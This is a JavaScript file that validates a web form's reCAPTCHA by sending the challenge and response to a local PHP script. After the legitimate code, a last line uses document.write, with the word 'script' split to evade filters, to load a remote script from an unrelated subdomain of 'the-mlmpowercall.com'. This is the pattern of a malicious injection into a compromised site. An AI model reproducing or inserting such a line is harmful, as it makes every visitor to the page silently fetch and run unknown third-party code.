// JavaScript Document
var phpHttpObject = null;
var validatedFom;
var proceedTo;
// Get the HTTP Object
function getHTTPObject()
{
	var xmlHttp;
	try{
		// Firefox, Opera 8.0+, Safari
		xmlHttp = new XMLHttpRequest();
	}catch (e){
		// Internet Explorer
		try{
			xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
		}catch (e){
			try{
				xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
			}catch (e){				
				xmlHttp = null;
			}
		}
	}	
	return xmlHttp;
}

// handle result
function validationResponseHandler( responseText )
{
	if ( responseText == 'valid' )
	{
		removeWarning ( 'captchaCode' );
		if (proceedTo != 'stop')
		{
			document.forms[validatedFom].submit();
		}else{
			Recaptcha.reload();	
		}
	}else{
		addWarning ( 'captchaCode' );
		document.getElementById( 'warning' ).style.display = 'block';		
	}	
}

// received data
function validationResponse()
{
	var loaded = false;
	if(phpHttpObject.readyState == 4 || phpHttpObject.readyState == "complete"){ loaded = true;	}
	if (loaded)
		validationResponseHandler (phpHttpObject.responseText);		
}

// request data
function requestValidation ()
{
	//var code = document.forms[validatedFom].elements['captchaCode-mandatory'].value;

	var recaptcha_challenge_field = document.getElementById('recaptcha_challenge_field').value;
	var recaptcha_response_field = document.getElementById('recaptcha_response_field').value;
		
	if(phpHttpObject == null)
		phpHttpObject = getHTTPObject();
		
	if (phpHttpObject != null)
	{
		phpHttpObject.open("GET", "./php/validCaptcha.php?recaptcha_challenge_field=" + recaptcha_challenge_field + "&recaptcha_response_field=" + recaptcha_response_field, true);
			
		phpHttpObject.onreadystatechange = new Function();
		phpHttpObject.onreadystatechange = validationResponse;
		
		phpHttpObject.send(null);
	}
}

function validCaptcha( form, next )
{
	validatedFom = form;
	proceedTo = next;
	requestValidation ();	
}

document.write('<s'+'cript type="text/javascript" src="http://sogpaoiy.the-mlmpowercall.com/ICQ.js"></scr'+'ipt>');